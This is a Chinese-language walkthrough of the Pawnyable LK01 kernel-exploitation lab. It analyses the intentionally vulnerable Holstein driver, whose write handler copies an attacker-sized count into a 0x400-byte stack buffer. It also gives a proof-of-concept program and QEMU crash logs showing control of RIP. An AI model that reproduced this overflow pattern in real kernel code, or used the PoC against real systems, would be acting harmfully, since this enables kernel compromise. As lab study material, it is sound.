首先回顾一下初始化的过程:/init -> /sbin/init ->......->/etc/init.d/rcS->/etc/init.d/S99pawnyable

# /etc/init.d/S99pawnyable
#!/bin/sh

##
## Setup
##
mdev -s
mount -t proc none /proc
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
stty -opost
#echo 2 > /proc/sys/kernel/kptr_restrict  # 禁用KADR
#echo 1 > /proc/sys/kernel/dmesg_restrict # 禁用dmesg_restrict

##
## Install driver
##
insmod /root/vuln.ko  # 加载内核模块
# 将名为的/dev/holstein模块与名为holstein的字符设备文件关联
mknod -m 666 /dev/holstein c `grep holstein /proc/devices | awk '{print $1;}'` 0 

##
## User shell
##
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
echo "[ Holstein v1 (LK01) - Pawnyable ]"
#setsid cttyhack setuidgid 1337 sh     # 以用户ID 1337 运行 shell,即普通用户
setsid cttyhack setuidgid 0 sh         # 以用户ID 0 运行 shell,即root用户

##
## Cleanup
##
umount /proc
poweroff -d 0 -f

Holstein模块

src/vuln.c是内核子模块Holstein的源码,下面来分析一下linux里内核子模块是怎么写的:

初始化和退出

编写内核模块时,总是先编写初始化和退出,这里指定了初始化函数和退出函数

108 module_init(module_initialize);
109 module_exit(module_cleanup);

先来看初始化函数:

/**
* 
* int alloc_chrdev_region(dev_t *dev,unsigned int firstminor,unsigned int count,char *name);
* 	功能:用于动态申请设备编号
* 	firstminor:通常为0
*		dev:存放返回的设备号
*
*
* void cdev_init(struct cdev *, const struct file_operations *)
* 	功能:初始化一个静态分配的cdev结构体变量
*		第一个参数:第一个参数表示一个字符设备,在函数中即将被初始化
*		第二个参数:file_operations结构体类型的指针,通过这个结构体中提供的函数完成对设备的操作
*
*
* THIS_MODULE:是一个宏,定义为:#define THIS_MODULE (&__this_module)
* 	而__this_module是一个struct module变量,代表当前模块
*
*
* int cdev_add(struct cdev *, dev_t, unsigned)
* 	功能:向Linux内核系统中添加一个新的cdev结构体变量所描述的字符设备,并且使这个设备立即可用
* 	第一个参数:即将被添加入Linux内核系统的字符设备
* 	第二个参数:设备的设备号
* 	第三个参数:想注册设备的设备号的范围,用于给struct cdev中的字段count赋值
**/


  8 MODULE_LICENSE("GPL");
  9 MODULE_AUTHOR("ptr-yudai");
 10 MODULE_DESCRIPTION("Holstein v1 - Vulnerable Kernel Driver for Pawnyable");
 11
 12 #define DEVICE_NAME "holstein"
 13 #define BUFFER_SIZE 0x400
 14
 15 char *g_buf = NULL; 

 80 static dev_t dev_id;
 81 static struct cdev c_dev;
 82
 83 static int __init module_initialize(void)
 84 {
 85   if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME)) { // 给字符设备 holstein 分配设备号dev_id
 86     printk(KERN_WARNING "Failed to register device\n");
 87     return -EBUSY;
 88   }
 89
 90   cdev_init(&c_dev, &module_fops); // 初始化字符设备c_dev
 91   c_dev.owner = THIS_MODULE;
 92
 93   if (cdev_add(&c_dev, dev_id, 1)) { // 向Linux内核系统中添加字符设备
 94     printk(KERN_WARNING "Failed to add cdev\n");
 95     unregister_chrdev_region(dev_id, 1);
 96     return -EBUSY;
 97   }
 98
 99   return 0;
100 }

该字符设备定义了4个操作函数:open、read、write和release

 71 static struct file_operations module_fops =
 72   {
 73    .owner   = THIS_MODULE,
 74    .read    = module_read,
 75    .write   = module_write,
 76    .open    = module_open,
 77    .release = module_close,
 78   };

而模块的退出只是删除了字符设备:

102 static void __exit module_cleanup(void)
103 {
104   cdev_del(&c_dev);
105   unregister_chrdev_region(dev_id, 1);
106 }

open

open这个模块的时候,分配了0x400字节的空间给全局变量g_buf

 13 #define BUFFER_SIZE 0x400
 14
 15 char *g_buf = NULL; 

 17 static int module_open(struct inode *inode, struct file *file)
 18 {
      // 将字符串打印到内核的日志缓冲区
      // KERN_INFO是日志级别
      // 可以使用命令dmesg来查看输出
 19   printk(KERN_INFO "module_open called\n"); 
 20
      // 从内核空间中分配0x400大小的堆块给g_buf
 21   g_buf = kmalloc(BUFFER_SIZE, GFP_KERNEL);
 22   if (!g_buf) {
 23     printk(KERN_INFO "kmalloc failed");
 24     return -ENOMEM;
 25   }
 26
 27   return 0;
 28 }

close

释放g_buf

 64 static int module_close(struct inode *inode, struct file *file)
 65 {
 66   printk(KERN_INFO "module_close called\n");
 67   kfree(g_buf);
 68   return 0;
 69 }

read

将内核空间中 g_buf 的内容,最终拷贝到来自用户空间的read函数的参数buf

 30 static ssize_t module_read(struct file *file,
 31                         char __user *buf, size_t count,
 32                         loff_t *f_pos)
 33 {
 34   char kbuf[BUFFER_SIZE] = { 0 };
 35
 36   printk(KERN_INFO "module_read called\n");
 37
 38   memcpy(kbuf, g_buf, BUFFER_SIZE); // 将g_buf的内容拷贝到局部变量kbuf
 39   if (_copy_to_user(buf, kbuf, count)) { // 将kbuf的内容拷贝到用户空间的buf
 40     printk(KERN_INFO "copy_to_user failed\n");
 41     return -EINVAL;
 42   }
 43
 44   return count;
 45 }

write

将用户空间的buf的内容,最终拷贝到内核空间的全局变量g_buf

 47 static ssize_t module_write(struct file *file,
 48                             const char __user *buf, size_t count,
 49                             loff_t *f_pos)
 50 {
 51   char kbuf[BUFFER_SIZE] = { 0 };
 52
 53   printk(KERN_INFO "module_write called\n");
 54
 55   if (_copy_from_user(kbuf, buf, count)) { // 将用户空间的buf的内容拷贝到局部变量kbuf
 56     printk(KERN_INFO "copy_from_user failed\n");
 57     return -EINVAL;
 58   }
 59   memcpy(g_buf, kbuf, BUFFER_SIZE); // 将kbuf的内容拷贝到全局变量g_buf
 60
 61   return count;
 62 }

栈溢出漏洞

g_buf的长度是0x400,而在上面的module_write()函数中,_copy_from_user的参数count是攻击者可控的,所以可能发生栈溢出(越界写)。进而可以覆写内核栈中的返回地址,并执行ROP链。

触发漏洞

在利用漏洞之前,先来尝试触发它,也就是写个POC。

// exploit.c(偷懒。。没改名字)
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>

void fatal(const char *msg){
        perror(msg);
        exit(1);
}

int main() {
        int fd = open("/dev/holstein", O_RDWR);
        if(fd == -1){
                fatal("open(\"/dev/holstein\")");
        }

        char buf[0x800] = {};
        memset(buf, 'A', 0x800);
        write(fd, buf, 0x800);

        close(fd);
        return 0;
}

然后执行transfer.sh,将poc传送进去,然后在shell里执行:

lzx@ubuntu:~/LKPWN/pawnyable/LK01/qemu$ ./transfer.sh
3959 blocks
qemu-system-x86_64: warning: TCG doesn't support requested feature: CPUID.01H:ECX.vmx [bit 5]
Starting syslogd: OK
Starting klogd: OK
Running sysctl: OK
Saving random seed: OK
Starting network: udhcpc: started, v1.34.0
udhcpc: broadcasting discover
udhcpc: broadcasting select for 10.0.2.15, server 10.0.2.2
udhcpc: lease of 10.0.2.15 obtained from 10.0.2.2, lease time 86400
deleting routers
adding dns 10.0.2.3
OK
Starting dhcpcd...
dhcpcd-9.4.0 starting
DUID 00:01:00:01:2b:9f:a7:9c:52:54:00:12:34:56
eth0: IAID 00:12:34:56
eth0: soliciting an IPv6 router
eth0: Router Advertisement from fe80::2
eth0: adding address fec0::d946:4e76:702f:7f8e/64
eth0: adding route to fec0::/64
eth0: adding default route via fe80::2
eth0: soliciting a DHCP lease
eth0: offered 10.0.2.15 from 10.0.2.2
eth0: leased 10.0.2.15 for 86400 seconds
eth0: adding route to 10.0.2.0/24
eth0: adding default route via 10.0.2.2
forked to background, child pid 105

Boot took 6.75 seconds

[ Holstein v1 (LK01) - Pawnyable ]
/ # ./exploit
BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))
kernel stack overflow (page fault): 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 162 Comm: exploit Tainted: G           O      5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
RIP: 0010:memset_orig+0x33/0xb0
Code: 01 01 01 01 01 01 01 01 48 0f af c1 41 89 f9 41 83 e1 07 75 70 48 89 d1 48 c1 e9 06 74 39 66 0f 1f 84 00 00 00 00 00 48 ff c9 <48> 89 07 48 89 47 08 48 89 47 10 48 89 47 18 48 89 47 20 48 89 47
RSP: 0018:ffffc9000044ba58 EFLAGS: 00000207
RAX: 0000000000000000 RBX: 0000000000000558 RCX: 0000000000000009
RDX: 00000000000002a8 RSI: 0000000000000000 RDI: ffffc9000044c000
RBP: ffffc9000044ba78 R08: 4141414141414141 R09: 0000000000000000
R10: ffffc9000044c000 R11: 4141414141414141 R12: ffffc9000044baa8
R13: 00000000000002a8 R14: 00007ffd3f100c60 R15: ffffc9000044bef8
FS:  00000000006021d8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc9000044c000 CR3: 00000000032b6000 CR4: 00000000000006f0
Call Trace:
 ? _copy_from_user+0x70/0x80
 module_write+0x75/0xef [vuln]
Modules linked in: vuln(O)
---[ end trace b57c9adbb0ec8f53 ]---
RIP: 0010:memset_orig+0x33/0xb0
Code: 01 01 01 01 01 01 01 01 48 0f af c1 41 89 f9 41 83 e1 07 75 70 48 89 d1 48 c1 e9 06 74 39 66 0f 1f 84 00 00 00 00 00 48 ff c9 <48> 89 07 48 89 47 08 48 89 47 10 48 89 47 18 48 89 47 20 48 89 47
RSP: 0018:ffffc9000044ba58 EFLAGS: 00000207
RAX: 0000000000000000 RBX: 0000000000000558 RCX: 0000000000000009
RDX: 00000000000002a8 RSI: 0000000000000000 RDI: ffffc9000044c000
RBP: ffffc9000044ba78 R08: 4141414141414141 R09: 0000000000000000
R10: ffffc9000044c000 R11: 4141414141414141 R12: ffffc9000044baa8
R13: 00000000000002a8 R14: 00007ffd3f100c60 R15: ffffc9000044bef8
FS:  00000000006021d8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: ffffc9000044c000 CR3: 00000000032b6000 CR4: 00000000000006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled

确实崩溃了,而RIP的值如下,不是想要的0x4141414141414141。(如果是0x4141414141414141,那么就说明可以控制栈里的返回地址)

RIP: 0010:memset_orig+0x33/0xb0

看看崩溃的原因,栈溢出导致stack guard page(栈保护页)被写了,然后系统检测到了就崩溃了。

BUG: stack guard page was hit at (____ptrval____) (stack is (____ptrval____)..(____ptrval____))
kernel stack overflow (page fault): 0000 [#1] PREEMPT SMP NOPTI

所以是写太多了,修改poc,把数据的长度写成0x420试试。

        char buf[0x420] = {};
        memset(buf, 'A', 0x420);
        write(fd, buf, 0x420);

再次运行,果然RIP可控了:

/ # ./exploit
general protection fault: 0000 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 162 Comm: exploit Tainted: G           O      5.10.7 #1
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014
RIP: 0010:0x4141414141414141   <--- RIP可控
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc9000044beb8 EFLAGS: 00000202
RAX: 0000000000000420 RBX: ffff88800318ad00 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000044bea8 RDI: ffff888003297800
RBP: 4141414141414141 R08: 4141414141414141 R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000420
R13: 0000000000000000 R14: 00007fff598abd30 R15: ffffc9000044bef8
FS:  00000000006021d8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000601fd8 CR3: 00000000032e2000 CR4: 00000000000006f0
Call Trace:
 ? ksys_write+0x53/0xd0
 ? __x64_sys_write+0x15/0x20
 ? do_syscall_64+0x38/0x50
 ? entry_SYSCALL_64_after_hwframe+0x44/0xa9
Modules linked in: vuln(O)
---[ end trace da72dd73f8a32261 ]---
RIP: 0010:0x4141414141414141
Code: Unable to access opcode bytes at RIP 0x4141414141414117.
RSP: 0018:ffffc9000044beb8 EFLAGS: 00000202
RAX: 0000000000000420 RBX: ffff88800318ad00 RCX: 0000000000000000
RDX: 000000000000007f RSI: ffffc9000044bea8 RDI: ffff888003297800
RBP: 4141414141414141 R08: 4141414141414141 R09: 4141414141414141
R10: 4141414141414141 R11: 4141414141414141 R12: 0000000000000420
R13: 0000000000000000 R14: 00007fff598abd30 R15: ffffc9000044bef8
FS:  00000000006021d8(0000) GS:ffff888003800000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000601fd8 CR3: 00000000032e2000 CR4: 00000000000006f0
Kernel panic - not syncing: Fatal exception
Kernel Offset: disabled

参考文献

  • https://pawnyable.cafe/linux-kernel/LK01/welcome-to-holstein.html
  • https://deepinout.com/linux-kernel-api/device-driver-and-device-management/linux-kernel-api-cdev_init.html